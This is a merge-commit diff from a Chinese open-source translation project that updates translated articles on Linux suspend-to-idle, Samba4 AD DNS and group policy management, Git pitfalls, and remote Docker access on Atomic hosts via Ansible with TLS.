Merge pull request #57 from LCTT/master

Update repo
This commit is contained in:
joeren 2017-03-09 18:30:15 -06:00 committed by GitHub
commit 086efad4d9
258 changed files with 27594 additions and 7877 deletions

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,146 @@
浅述内核中“挂起到空闲”的实现
===============
### 简介
Linux 内核提供了多种睡眠状态各个状态通过设置系统中的不同部件进入低耗电模式来节约能源。目前总共有四种睡眠状态分别是挂起到空闲suspend to idle、加电待机power-on standbystandby、挂起到内存suspend to ram和挂起到磁盘suspend to disk。这些状态分别对应 ACPI 的 4 种状态S0S1S3 和 S4。挂起到空闲suspend to idle是纯软件实现的用于将 CPU 维持在尽可能深的 idle 状态。加电待机power-on standbystandby则使设备处于低功耗状态并且关闭所有非引导 CPU。挂起到内存suspend to ram就更进一步关闭所有 CPU 并且设置 RAM 进入自刷新模式。挂起到磁盘suspend to disk则是最省功耗的模式关闭尽可能多的系统包括关闭内存。然后内存中的内容会被写到硬盘待唤醒计算机的时候将硬盘中的内容重新恢复到内存中。
这篇博文主要介绍挂起到空闲suspend to idle的实现。如上所说它主要通过软件实现。一般平台的挂起过程包括冻结用户空间并将外围设备调至低耗电模式。但是系统并不是直接关闭和热插拔掉 CPU而是静静地强制将 CPU 进入空闲idle状态。随着外围设备进入了低耗电模式除了唤醒相关的中断外不应有其他中断产生。唤醒中断包括那些设置用于唤醒系统的计时器比如 RTC普通计时器等、或者电源开关、USB 和其它外围设备等。
在冻结过程中,当系统进入空闲状态时会调用一个特殊的 cpu 空闲函数。这个 `enter_freeze()` 函数可以和调用使 cpu 空闲的 `enter()` 函数一样简单,也可以复杂得多。该函数复杂的程度由将 SoC 置为低耗电模式的条件和方法决定。
### 先决条件
#### `platform_suspend_ops`
一般情况,为了支持 S2I系统必须实现 `platform_suspend_ops` 并提供最低限度的挂起支持。这意味着至少要完成 `platform_suspend_ops` 中的 `valid()` 函数。如果挂起到空闲suspend to idle和挂起到内存suspend to ram都要支持valid 函数中应使用 `suspend_valid_only_mem`
不过,最近内核增加了对 S2I 的自动支持。Sudeep Holla 提出了一个变更,可以让系统不需要满足 `platform_suspend_ops` 条件也能提供 S2I 支持。这个补丁已经被接收并将合并在 4.9 版本中,该补丁可从这里获取: [https://lkml.org/lkml/2016/8/19/474][1]。
如果定义了 `suspend_ops`,那么可以通过查看 `/sys/power/state` 文件得知系统具体支持哪些挂起状态。如下操作:
```
# cat /sys/power/state
freeze mem
```
这个示例的结果显示该平台支持 S0挂起到空闲suspend to idle和 S3挂起到内存suspend to ram。按 Sudeep 的变更,那些没有实现 `platform_suspend_ops` 的平台将只显示 freeze 状态。
#### 唤醒中断
一旦系统处于某种睡眠状态,系统必须要接收某个唤醒事件才能恢复系统。这些唤醒事件一般由系统的设备产生。因此一定要确保这些设备驱动使用唤醒中断,并且将自身配置为接收唤醒中断后产生唤醒事件。如果没有正确识别唤醒设备,系统收到中断后会继续保持睡眠状态而不会恢复。
一旦设备正确实现了唤醒接口的调用,就可用来生成唤醒事件。请确保 DT 文件正确配置了唤醒源。下面是一个配置唤醒源示例,该文件来自(`arch/arm/boot/dst/am335x-evm.dts`:
```
gpio_keys: volume_keys@0 {
compatible = “gpio-keys”;
#address-cells = <1>;
#size-cells = <0>;
autorepeat;
switch@9 {
label = “volume-up”;
linux,code = <115>;
gpios = <&gpio0 2 GPIO_ACTIVE_LOW>;
wakeup-source;
};
switch@10 {
label = “volume-down”;
linux,code = <114>;
gpios = <&gpio0 3 GPIO_ACTIVE_LOW>;
wakeup-source;
};
};
```
如上所示,有两个 gpio 键被配置为唤醒源,在系统挂起期间,其中任何一个键被按下都会产生一个唤醒事件。
可替代 DT 文件配置的另一个唤醒源配置就是设备驱动,如果设备驱动自身在代码里面配置了唤醒支持,那么就会使用该默认唤醒配置。
### 实施
#### 冻结功能
如果系统希望能够充分使用挂起到空闲suspend to idle那么应该在 CPU 空闲驱动代码中定义 `enter_freeze()` 函数。`enter_freeze()` 与 `enter()` 的函数原型略有不同。因此,不能将 `enter()` 同时指定给 `enter``enter_freeze`。至少,系统会直接调用 `enter()`。如果没有定义 `enter_freeze()`,系统会挂起,但是不会触发那些只有当 `enter_freeze()` 定义了才会触发的函数,比如 `tick_freeze()``stop_critical_timing()` 都不会发生。这会导致计时器中断唤醒系统,但不会导致系统恢复,因为系统处理完中断后会继续挂起。
在挂起过程中,中断越少越好(最好一个也没有)。
下图显示了能耗和时间的对比。图中的两个尖刺分别是挂起和恢复。挂起前后的能耗尖刺是系统退出空闲态进行记录操作,进程调度,计时器处理等。因延迟的缘故,系统进入更深层次空闲状态需要花费一段时间。
![blog-picture-one](http://www.linaro.org/wp-content/uploads/2016/10/blog-picture-one-1024x767.png)
*能耗使用时序图*
下图为 ftrace 抓取的 4 核 CPU 在系统挂起和恢复操作之前、之中和之后的活动。可以看到,在挂起期间,没有请求或者中断被处理。
![blog-picture-2](http://www.linaro.org/wp-content/uploads/2016/10/blog-picture-2-1024x577.png)
*Ftrace 抓取的挂起/恢复活动图*
#### 空闲状态
你必须确定哪个空闲状态支持冻结。在冻结期间,电源相关代码会决定用哪个空闲状态来实现冻结。这个过程是通过在每个空闲状态中查找谁定义了 `enter_freeze()` 来决定的。CPU 空闲驱动代码或者 SoC 挂起相关代码必须确定哪种空闲状态实现冻结操作,并通过给每个 CPU 的可应用空闲状态指定冻结功能来进行配置。
例如, Qualcomm 会在平台挂起代码的挂起初始化函数处定义 `enter_freeze` 函数。这个工作是在 CPU 空闲驱动已经初始化后进行,以便所有结构已经定义就位。
#### 挂起/恢复相关驱动支持
你可能会在第一次成功挂起操作后碰到驱动相关的 bug。很多驱动开发者没有精力完全测试挂起和恢复相关的代码。你甚至可能会发现挂起操作并没有多少工作可做因为 `pm_runtime` 已经做了你要做的挂起相关的一切工作。由于用户空间已经被冻结,设备此时已经处于休眠状态并且 `pm_runtime` 已经被禁止。
### 测试相关
测试挂起到空闲suspend to idle可以手动进行也可以使用脚本/进程等实现自动挂起、自动睡眠,或者使用像 Android 中的 `wakelock` 来让系统挂起。如果手动测试,下面的操作会将系统冻结。
```
/ # echo freeze > /sys/power/state
[ 142.580832] PM: Syncing filesystems … done.
[ 142.583977] Freezing user space processes … (elapsed 0.001 seconds) done.
[ 142.591164] Double checking all user space processes after OOM killer disable… (elapsed 0.000 seconds)
[ 142.600444] Freezing remaining freezable tasks … (elapsed 0.001 seconds) done.
[ 142.608073] Suspending console(s) (use no_console_suspend to debug)
[ 142.708787] mmc1: Reset 0x1 never completed.
[ 142.710608] msm_otg 78d9000.phy: USB in low power mode
[ 142.711379] PM: suspend of devices complete after 102.883 msecs
[ 142.712162] PM: late suspend of devices complete after 0.773 msecs
[ 142.712607] PM: noirq suspend of devices complete after 0.438 msecs
< system suspended >
….
< wake irq triggered >
[ 147.700522] PM: noirq resume of devices complete after 0.216 msecs
[ 147.701004] PM: early resume of devices complete after 0.353 msecs
[ 147.701636] msm_otg 78d9000.phy: USB exited from low power mode
[ 147.704492] PM: resume of devices complete after 3.479 msecs
[ 147.835599] Restarting tasks … done.
/ #
```
在上面的例子中,需要注意 MMC 驱动的操作占了 102.883ms 中的 100ms。有些设备驱动在挂起的时候有很多工作要做比如将数据刷出到硬盘或者其他耗时的操作等。
如果系统定义了冻结freeze那么系统将尝试挂起操作如果没有冻结功能那么你会看到下面的提示
```
/ # echo freeze > /sys/power/state
sh: write error: Invalid argument
/ #
```
### 未来的发展
目前在 ARM 平台上的挂起到空闲suspend to idle有两方面的工作需要做。第一方面工作在前面 `platform_suspend_ops` 小节中提到过,是总允许接受冻结状态以及合并到 4.9 版本内核中的工作。另一方面工作是冻结功能的支持。
如果你希望设备有更好的响应及表现,那么应该继续完善冻结功能的实现。然而,由于很多 SoC 会使用 ARM 的 CPU 空闲驱动,这使得 ARM 的 CPU 空闲驱动完善它自己的通用冻结功能的工作更有意义了。而事实上ARM 正在尝试添加此通用支持。如果 SoC 供应商希望实现他们自己的 CPU 空闲驱动或者需要在进入更深层次的冻结休眠状态时提供额外的支持,那么只有实现自己的冻结功能。
--------------------------------------------------------------------------------
via: http://www.linaro.org/blog/suspend-to-idle/
作者:[Andy Gross][a]
译者:[beyondworld](https://github.com/beyondworld)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.linaro.org/author/andygross/
[1]:https://lkml.org/lkml/2016/8/19/474

View File

@ -1,58 +1,59 @@
Manage Samba4 AD Domain Controller DNS and Group Policy from Windows Part 4
Samba 系列(四):在 Windows 下管理 Samba4 AD 域管制器 DNS 和组策略
============================================================
在 Windows 系统下管理 Samba4 AD 域管制器 DNS 和组策略(四)
接着前一篇教程写的关于[使用 Windows 10 系统的 RSAT 工具来管理 Samba4 活动目录架构][4],在这篇文章中我们将学习如何使用微软 DNS 管理器远程管理我们的 Samba AD 域控制器的 DNS 服务器,如何创建 DNS 记录,如何创建反向查找区域以及如何通过组策略管理工具来创建域策略。
接着前一篇教程写的关于[使用 Windows 10 的 RSAT 工具来管理 Samba4 活动目录架构][4],在这篇文章中我们将学习如何使用微软 DNS 管理器远程管理我们的 Samba AD 域控制器的 DNS 服务器,如何创建 DNS 记录,如何创建反向查找区域以及如何通过组策略管理工具来创建域策略。
####
####
1、 [在 Ubuntu16.04 系统上使用 Samba4 软件来创建活动目录架构(一)][1]
2、 [在 Linux 命令行下管理 Samba4 AD 架构(二)][2]
3、 [使用 Windows 10 系统的 RSAT 工具来管理 Samba4 活动目录架构 (三)][3]
1、 [在 Ubuntu 16.04 系统上使用 Samba4 软件来创建活动目录架构(一)][1]
2、 [在 Linux 命令行下管理 Samba4 AD 架构(二)][2]
3、 [使用 Windows 10 的 RSAT 工具来管理 Samba4 活动目录架构 (三)][3]
### 第 1 步:管理 Samba DNS 服务器
Samba4 AD DC 使用内部的 DNS 解析模块,该模块在初始化域提供的过程中被创建完成(如果 BIND9 DLZ 模块未特定使用的情况下)。
Samba4 AD DC 使用内部的 DNS 解析模块,该模块在初始化域提供的过程中创建(如果 BIND9 DLZ 模块未指定使用的情况下)。
Samba4 内部的 DNS 模块支持 AD 域控制器所必须的基本功能。有两种方式来管理域 DNS 服务器,直接在命令行下通过 samba-tool 接口来管理,或者使用已加入域的微软工作站中的 RSAT DNS 管理器远程进行管理。
Samba4 内部的 DNS 模块支持 AD 域控制器所必须的基本功能。有两种方式来管理域 DNS 服务器,直接在命令行下通过 samba-tool 接口来管理,或者使用已加入域的微软工作站中的 RSAT DNS 管理器远程进行管理。
在这篇文章中,我们使用第二种方式来进行管理,因为这种方式很直观,也不容易出错。
1、要使用 RSAT 工具来管理域控制器上的 DNS 服务器,在 Windows 机器上,打开控制面板 -> 系统和安全 -> 管理工具,然后运行 DNS 管理器工具。
当打开这个工具时,它会询问你将要连接到哪台正在运行的 DNS 服务器。选择使用下面的计算机输入域名IP 地址或 FQDN 地址都可以使用),勾选‘现在连接到指定计算机’,然后单击 OK 按钮以开启 Samba DNS 服务。
当打开这个工具时,它会询问你将要连接到哪台正在运行的 DNS 服务器。选择使用下面的计算机输入域名IP 地址或 FQDN 地址都可以使用),勾选“现在连接到指定计算机”,然后单击 OK 按钮以开启 Samba DNS 服务。
[
![Connect Samba4 DNS on Windows](http://www.tecmint.com/wp-content/uploads/2016/12/Connect-Samba4-DNS-on-Windows.png)
][5]
在 Windows 系统上连接 Samba4 DNS 服务器
*在 Windows 系统上连接 Samba4 DNS 服务器*
2、为了添加一条 DNS 记录(比如我们添加一条指向 LAN 网关的记录 A'),打开 DNS 管理器,找到域正向查找区,在右侧单击右键选择新的主机(AAAA)。
2、为了添加一条 DNS 记录(比如我们添加一条指向 LAN 网关的 A 记录),打开 DNS 管理器,找到域正向查找区,在右侧单击右键选择新的主机(A 或 AAAA)。
[
![Add DNS A Record on Windows](http://www.tecmint.com/wp-content/uploads/2016/12/Add-DNS-A-Record.png)
][6]
在 Windows 下添加一条 DNS 记录
*在 Windows 下添加一条 DNS 记录*
3、在打开的新主机窗口界面输入 DNS 服务器的主机名和 IP 地址。 DNS 管理器工具会自动填写完成 FQDN 地址。填写完成后,点击添加主机按钮,之后会弹出一个新的窗口提示你 DNS A 记录已经创建完成。
3、在打开的新主机窗口界面输入 DNS 服务器的主机名和 IP 地址。 DNS 管理器工具会自动填写完成 FQDN 地址。填写完成后,点击添加主机按钮,之后会弹出一个新的窗口提示你 DNS A 记录已经创建完成。
确保你添加 DNS A 记录是你们网络中的资源[已配置静态 IP][7]。不要为那些从 DHCP 服务器自动获取 IP 地址或者经常变换 IP 地址的主机添加 DNS A 记录。
确保仅为你的网络中[已配置静态 IP][7]的资源(设备)添加 DNS A 记录。不要为那些从 DHCP 服务器自动获取 IP 地址或者经常变换 IP 地址的主机添加 DNS A 记录。
[
![Configure Samba Host on Windows](http://www.tecmint.com/wp-content/uploads/2016/12/Configure-Samba-Host-on-Windows.png)
][8]
在 Windows 系统下配置 Samba 主机
*在 Windows 系统下配置 Samba 主机*
要更新一条 DNS 记录只需要双击那条记录,然后输入更改原因即可。要删除一条记录时,只需要在这条记录上单击右键,选择从菜单删除即可。
要更新一条 DNS 记录只需要双击那条记录,然后输入更改即可。要删除一条记录时,只需要在这条记录上单击右键,选择从菜单删除即可。
同样的方式,你也可以为你的域添加其它类型的 DNS 记录,比如说 CNAME 记录(也称为 DNS 别名记录MX 记录在邮件服务器上非常有用或者其它类型的记录SPE、TXT、SRVetc类型)。
同样的方式,你也可以为你的域添加其它类型的 DNS 记录,比如说 CNAME 记录(也称为 DNS 别名记录MX 记录在邮件服务器上非常有用或者其它类型的记录SPE、TXT、SRV类型)。
### 第 2 步:创建反向查找区域
默认情况下, Samba4 AD DC 不会自动为你的域添加一个反向查找区域和 PTR 记录,因为这些类型的记录对于域控制器的正常工作来说是无关紧要的。
默认情况下Samba4 AD DC 不会自动为你的域添加一个反向查找区域和 PTR 记录,因为这些类型的记录对于域控制器的正常工作来说是无关紧要的。
相反DNS 反向区和 PTR 记录在一些重要的网络服务中显得非常有用,比如邮件服务,因为这些类型的记录可以用于验证客户端请求服务的身份。
@ -64,56 +65,56 @@ Samba4 内部的 DNS 域模块支持 AD 域控制器所必须的基本功能。
![Create Reverse Lookup DNS Zone](http://www.tecmint.com/wp-content/uploads/2016/12/Create-Reverse-Lookup-DNS-Zone.png)
][9]
创建 DNS 反向查找区域
*创建 DNS 反向查找区域*
5、下一步单击下一步按钮然后从区域类型向导中选择主区域。
5、下一步单击下一步按钮然后从区域类型向导中选择主区域Primary
[
![Select DNS Zone Type](http://www.tecmint.com/wp-content/uploads/2016/12/Select-DNS-Zone-Type.png)
][10]
选择 DNS 区域类型
*选择 DNS 区域类型*
6、下一步在 AD 区域复制范围中选择复制到该域里运行在域控制器上的所有的 DNS 服务器,选择 IPv4 反向查找区域然后单击下一步继续。
6、下一步AD 区域复制范围中选择复制到该域里运行在域控制器上的所有的 DNS 服务器,选择 IPv4 反向查找区域然后单击下一步继续。
[
![Select DNS for Samba Domain Controller](http://www.tecmint.com/wp-content/uploads/2016/12/Select-DNS-for-Samba-Domain-Controller.png)
][11]
为 Samba 域控制器选择 DNS 服务器
*为 Samba 域控制器选择 DNS 服务器*
[
![Add Reverse Lookup Zone Name](http://www.tecmint.com/wp-content/uploads/2016/12/Add-Reverse-Lookup-Zone-Name.png)
][12]
添加反向查找区域名
*添加反向查找区域名*
7、下一步在网络ID 框中输入你的 LAN IP 地址,然后单击下一步继续。
资源在这个区域内添加的所有 PTR 记录仅指向 192.168.1.0/24 网络段。如果你想要为一个不在该网段中的服务器创建一个 PTR 记录比如邮件服务器位于 10.0.0.0/24 这个网段的时候),那么你还得为那个网段创建一个新的反向查找区域。
在这个区域内添加的所有资源(设备)的 PTR 记录仅指向 192.168.1.0/24 网络段。如果你想要为一个不在该网段中的服务器创建一个 PTR 记录比如邮件服务器位于 10.0.0.0/24 这个网段的时候),那么你还得为那个网段创建一个新的反向查找区域。
[
![Add IP Address of Reverse Lookup DNS Zone](http://www.tecmint.com/wp-content/uploads/2016/12/Add-IP-Address-of-Reverse-DNS-Zone.png)
][13]
添加 DNS 反向查找区域的 IP 地址
*添加 DNS 反向查找区域的 IP 地址*
8、在下一个截图中选择仅允许安全的动态更新单击下一步继续最后单击完成按钮以完成反向查找区域的创建。
8、在下一个截图中选择仅允许安全的动态更新,单击下一步继续,最后单击完成按钮以完成反向查找区域的创建。
[
![Enable Secure Dynamic Updates](http://www.tecmint.com/wp-content/uploads/2016/12/Enable-Secure-Dynamic-Updates.png)
][14]
启用安全动态更新
*启用安全动态更新*
[
![New DNS Zone Summary](http://www.tecmint.com/wp-content/uploads/2016/12/New-DNS-Zone-Summary.png)
][15]
新 DNS 区域概述
*新 DNS 区域概览*
9、此时你已经为你的域环境创建完成了一个有效的 DNS 反向查找区域。为了在这个区域中添加一个 PTR 记录,在右侧右键单击,选择为网络资源创建一个 PTR 记录。
这个时候,我们已经为网关创建了一个指向。为了测试这条记录对于客户端是否添加正确和工作正常,打开命令行提示符执行 nslookup 查询资源名,再执行另外一条命令查询 IP 地址。
这个时候,我们已经为网关创建了一个指向。为了测试这条记录对于客户端是否添加正确和工作正常,打开命令行提示符执行 `nslookup` 查询资源名,再执行另外一条命令查询 IP 地址。
两个查询都应该为你的 DNS 资源返回正确的结果。
@ -121,19 +122,21 @@ Samba4 内部的 DNS 域模块支持 AD 域控制器所必须的基本功能。
nslookup gate.tecmint.lan
nslookup 192.168.1.1
ping gate
```
```
[
![Add DNS PTR Record and Query PTR](http://www.tecmint.com/wp-content/uploads/2016/12/Add-DNS-PTR-Record-and-Query.png)
][16]
添加及查询 PTR 记录
*添加及查询 PTR 记录*
### 第 3 步:管理域控制策略
10、域控制器最重要的作用就是集中控制系统资源及安全。使用域控制器的域组策略功能很容易实现这些类型的任务。
遗憾的是,在 Samba 域控制器上唯一用来编辑或管理组策略的方法是通过微软的 RSAT GPM 工具。
在下面的实例中,我们将看到通过组策略来实现在 Samba 域环境中为域用户创建一种交互式的登录方式是多么的简单。
在下面的实例中,我们将看到通过组策略来实现在 Samba 域环境中为域用户创建一种交互式的登录提示是多么的简单。
要访问组策略控制台,打开控制面板 -> 系统和安全 -> 管理工具,然后打开组策略管理控制台。
@ -143,9 +146,9 @@ ping gate
![Manage Samba Domain Group Policy](http://www.tecmint.com/wp-content/uploads/2016/12/Manage-Samba-Domain-Group-Policy.png)
][17]
管理 Samba 域组策略
*管理 Samba 域组策略*
11、在组策略管理编辑器窗口中进入到电脑配置 -> 组策略 -> Windows 设置 -> 安全设置 -> 本地策略 -> 安全选项,你将在右侧看到一个新的选项列表。
11、在组策略管理编辑器窗口中进入到计算机配置 -> 组策略 -> Windows 设置 -> 安全设置 -> 本地策略 -> 安全选项,你将在右侧看到一个新的选项列表。
在右侧查询并编辑你的定制化设置,参考下图中的两条设置内容。
@ -153,7 +156,7 @@ ping gate
![Configure Samba Domain Group Policy](http://www.tecmint.com/wp-content/uploads/2016/12/Configure-Samba-Domain-Group-Policy.png)
][18]
配置 Samba 域组策略
*配置 Samba 域组策略*
12、这两个条目编辑完成后关闭所有窗口打开 CMD 窗口,执行以下命令来强制应用组策略。
@ -164,14 +167,15 @@ gpupdate /force
![Update Samba Domain Group Policy](http://www.tecmint.com/wp-content/uploads/2016/12/Update-Samba-Domain-Group-Policy.png)
][19]
更新 Samba 域组策略
*更新 Samba 域组策略*
13、最后重启你的电脑当你准备登录进入系统的时候你就会看到登录提示生效了。
13、最后重启你的电脑当你准备登录进入系统的时候你就会看到登录提示生效了。
[
![Samba4 AD Domain Controller Logon Banner](http://www.tecmint.com/wp-content/uploads/2016/12/Samba4-Domain-Controller-User-Login.png)
][20]
Samba4 AD 域控制器登录提示
*Samba4 AD 域控制器登录提示*
就写到这里吧!组策略是一个操作起来很繁琐和很谨慎的主题,在管理系统的过程中你得非常的小心。还有,注意你设置的组策略不会以任何方式应用到已加入域的 Linux 系统中。
@ -184,17 +188,17 @@ Samba4 AD 域控制器登录提示
via: http://www.tecmint.com/manage-samba4-dns-group-policy-from-windows/
作者:[Matei Cezar ][a]
作者:[Matei Cezar][a]
译者:[rusking](https://github.com/rusking)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/cezarmatei/
[1]:http://www.tecmint.com/install-samba4-active-directory-ubuntu/
[2]:http://www.tecmint.com/manage-samba4-active-directory-linux-command-line/
[3]:http://www.tecmint.com/manage-samba4-ad-from-windows-via-rsat/
[4]:http://www.tecmint.com/manage-samba4-ad-from-windows-via-rsat/
[1]:https://linux.cn/article-8065-1.html
[2]:https://linux.cn/article-8070-1.html
[3]:https://linux.cn/article-8097-1.html
[4]:https://linux.cn/article-8097-1.html
[5]:http://www.tecmint.com/wp-content/uploads/2016/12/Connect-Samba4-DNS-on-Windows.png
[6]:http://www.tecmint.com/wp-content/uploads/2016/12/Add-DNS-A-Record.png
[7]:http://www.tecmint.com/set-add-static-ip-address-in-linux/

View File

@ -0,0 +1,36 @@
Git 中的那些可怕的事
============================================================
![Corey Quinn](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/corey-quinn-lcna.png)
在 LinuxCon 北美会议上 FutureAdvisor 的 Corey Quinn 说“Git 的确让你可以做一些超级强大的事。‘强大’,在这次讲演中,这是一种说你愚蠢的委婉说法”。在使用 Git 时谁没有经历让你感觉自己像个傻子的时刻当然Git 是很棒的,每个人都在使用它,你可以用几个基本命令完成你的大部分工作。但它也有一些强大的功能,让我们觉得我们不知道我们在做什么。
但这真的对我们来说不公平。没有人会知道一切每个人知道的都不同。Quinn 提醒我们:“在我许多讲演的问答部分,人们有时举手说:“嗯,我有一个傻问题。” 你看到人们在那里说:“是啊!这是一个非常愚蠢的问题”。但是当他们得到答案时,那些这么说的人也正在低头记笔记。
![Git](https://www.linux.com/sites/lcom/files/styles/floated_images/public/heffalump-git-corey-quinn_0.png)
Quinn 在演讲的开始做了一些有趣的演示,演示了一些你可以用 Git 做到的可怕的事情,例如变基主干然后进行强制推送来搞乱整个项目、胡乱输入一些命令让 git 吐槽、提交大型二进制文件等。然后他演示了如何使这些可怕的事情不怎么可怕,如更加明智地管理大型二进制文件。“你可以提交大型二进制文件,你可以在 Git 中暴力提交,如果你需要存储大的二进制文件,这里有两个工具会可以加速载入,一个是 git-annex这是由 Debian 开发人员 Joey Hess 开发的,而 git-lfs 是由 GitHub 支持的。”
你经常同样地错误输入么?例如,当你想要 `git status` 时却输入 `git stitis`Quinn 有一个方案“Git 有内置的别名支持,所以你可以将相对较长、复杂的东西命名为一个短的 Git 命令。” 此外,你还可以使用 shell 别名。
Quinn 说“我们都听说过变基主干然后强制推送这样的搞笑恶作剧它会改变版本历史突然发生的事情让所有人都措手不及每个人都被卷入了这种混乱当中。一群鲸鱼被称为“pod”一群乌鸦中被称为“谋杀”一群开发者被称为“合并冲突”……更严重的是如果有人干了这种事情你有几个选择。包括从备份中恢复主干还原提交或者把责任人从屋顶上尖叫着扔下去。或者采取一定的预防措施并使用一个并不知名的 Git 功能称为分支保护。启用分支保护后无法删除或强制推送分支并且在接受前拉取请求pull request必须至少有一个审核。”
Quinn 演示了几个更奇妙的有用的工具,使 Git 更高效和万无一失,如 mr、vcsh 和定制的 shell 提示。你可以在下面看到完整的视频,了解更多有趣的事情。
--------------------------------------------------------------------------------
via: https://www.linux.com/news/event/LinuxCon-Europe/2016/terrible-ideas-git-0
作者:[CARLA SCHRODER][a]
译者:[geekpi](https://github.com/geekpi)
校对:[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.linux.com/users/cschroder
[1]:https://www.linux.com/licenses/category/used-permission
[2]:https://www.linux.com/licenses/category/linux-foundation
[3]:https://www.linux.com/files/images/heffalump-git-corey-quinnpng-0
[4]:https://www.linux.com/files/images/corey-quinn-lcnapng
[5]:http://events.linuxfoundation.org/events/linuxcon-north-america

View File

@ -1,21 +1,21 @@
[远程在 Atomic 主机上使用 Docker][1]
---------------------
在 Atomic 主机上远程使用 Docker
==========
![remote-atomic-docker](https://cdn.fedoramagazine.org/wp-content/uploads/2017/01/remote-atomic-docker-945x400.jpg)
![remote-atomic-docker](https://cdn.fedoramagazine.org/wp-content/uploads/2017/01/remote-atomic-docker-945x400.jpg)
来自 [Atomic 项目][2] 的 Atomic 主机是一个基于轻量级容器的操作系统,它可以运行 Linux 容器。它已被优化为用作云环境的容器运行时系统。例如,它可以托管 Docker 守护进程和容器。有时,你可能需要在该主机上运行 docker 命令,并从其他地方管理服务器。本文介绍如何远程访问 Fedora Atomic 主机上的[Docker][3]守护进程[你可以在这里下载到它][4]。整个过程由[Ansible][5]自动完成 - 在涉及到自动化的一切上,这是一个伟大的工具。
来自 [Atomic 项目][2] 的 Atomic 主机是一个轻量级容器基于的操作系统,它可以运行 Linux 容器。它已被优化为用作云环境的容器运行时系统。例如,它可以托管 Docker 守护进程和容器。有时,你可能需要在该主机上运行 docker 命令,并从其他地方管理服务器。本文介绍如何远程访问 Fedora Atomic 主机[你可以在这里下载到它][4]上的 [Docker][3] 守护进程。整个过程由 [Ansible][5] 自动完成 - 在涉及到自动化的一切上,这真是一个伟大的工具!
### 一份安全笔记
### 安全备忘录
由于我们通过网络连接,所以我们使用[TLS][6]保护 Docker 守护进程。此过程需要客户端证书和服务器证书。OpenSSL 包用于创建用于建立 TLS 连接的证书密钥。这里Atomic 主机运行守护程序,我们的本地的 [Fedora Workstation][7] 充当客户端。
由于我们通过网络连接,所以我们使用 [TLS][6] 保护 Docker 守护进程。此过程需要客户端证书和服务器证书。OpenSSL 包用于创建用于建立 TLS 连接的证书密钥。这里Atomic 主机运行守护程序,我们的本地的 [Fedora Workstation][7] 充当客户端。
在你按照这些步骤进行之前请注意_任何_在客户端上可以访问 TLS 证书的进程在服务器上具有**完全根访问权限。** 因此,客户端可以在服务器上做任何它想做的事情。因此,我们需要仅向可信任的特定客户端主机授予证书访问权限。你应该将客户端证书仅复制到完全由你控制的客户端主机。即使在这种情况下,客户端机器的安全也至关重要。
在你按照这些步骤进行之前请注意_任何_在客户端上可以访问 TLS 证书的进程在服务器上具有**完全的 root 访问权限**。 因此,客户端可以在服务器上做任何它想做的事情。我们需要仅向可信任的特定客户端主机授予证书访问权限。你应该将客户端证书仅复制到完全由你控制的客户端主机。即使在这种情况下,客户端机器的安全也至关重要。
但是,此方法只是远程访问守护程序的一种方法。编排工具通常提供更安全的控制。下面的简单方法适用于个人实验,可能不适合开放式网络。
不过,此方法只是远程访问守护程序的一种方法。编排工具通常提供更安全的控制。下面的简单方法适用于个人实验,可能不适合开放式网络。
### 获取 Ansible role
[Chris Houseknecht][8] 写了一个 Ansible role它会创造所需的所有证书。这样你不需要手动运行 _openssl_ 命令了。 这些在[ Ansible role 仓库][9]中提供。将它克隆到你当前的工作主机。
[Chris Houseknecht][8] 写了一个 Ansible role它会创造所需的所有证书。这样你不需要手动运行 `openssl` 命令了。 这些在 [Ansible role 仓库][9]中提供。将它克隆到你当前的工作主机。
```
$ mkdir docker-remote-access
@ -25,7 +25,7 @@ $ git clone https://github.com/ansible/role-secure-docker-daemon.git
### 创建配置文件
接下来,你必须创建 Ansible 配置文件、inventory 和 playbook 文件以设置客户端和守护进程。以下说明在 Atomic 主机上创建客户端和服务器证书。然后,获取客户端证书到本地。最后,它们会配置守护进程以及客户端,使它们能彼此交互。
接下来,你必须创建 Ansible 配置文件、清单inventory和剧本playbook文件以设置客户端和守护进程。以下说明在 Atomic 主机上创建客户端和服务器证书。然后,获取客户端证书到本地。最后,它们会配置守护进程以及客户端,使它们能彼此交互。
这里是你需要的目录结构。如下所示,创建下面的每个文件。
@ -38,29 +38,34 @@ docker-remote-access/
└── role-secure-docker-daemon
```
### _ansible.cfg_
`ansible.cfg`
```
$ vim ansible.cfg
$ vim ansible.cfg
```
```
[defaults]
inventory=inventory
```
### _inventory_
清单文件(`inventory`
```
$ vim inventory
$ vim inventory
```
```
[daemonhost]
'IP_OF_ATOMIC_HOST' ansible_ssh_private_key_file='PRIVATE_KEY_FILE'
```
inventory 中的 _IP_OF_ATOMIC_HOST_ 替换为 Atomic 主机的 IP。将 _PRIVATE_KEY_FILE_ 替换为本地系统上的 SSH 私钥文件的位置。
清单文件(`inventory` 中的 `IP_OF_ATOMIC_HOST` 替换为 Atomic 主机的 IP。将 `PRIVATE_KEY_FILE` 替换为本地系统上的 SSH 私钥文件的位置。
### _remote-access.yml_
剧本文件(`remote-access.yml`
```
$ vim remote-access.yml
---
```
```
- name: Docker Client Set up
hosts: daemonhost
gather_facts: no
@ -130,7 +135,7 @@ $ vim remote-access.yml
### 访问 Atomic 主机
现在运行 Ansible playbook
现在运行 Ansible 剧本
```
$ ansible-playbook remote-access.yml
@ -138,9 +143,9 @@ $ ansible-playbook remote-access.yml
确保 tcp 端口 2376 在你的 Atomic 主机上打开了。如果你在使用 Openstack请在安全规则中添加 TCP 端口 2376。 如果你使用 AWS请将其添加到你的安全组。
现在,在你的工作站上作为普通用户运行的 _docker_ 命令与 Atomic 主机的守护进程通信了,并在那里执行命令。你不需要手动 _ssh_ 或在 Atomic 主机上发出命令。这允许你远程、轻松、安全地启动容器化应用程序。
现在,在你的工作站上作为普通用户运行的 `docker` 命令与 Atomic 主机的守护进程通信,并在那里执行命令。你不需要手动 `ssh` 或在 Atomic 主机上发出命令。这可以让你远程、轻松、安全地启动容器化应用程序。
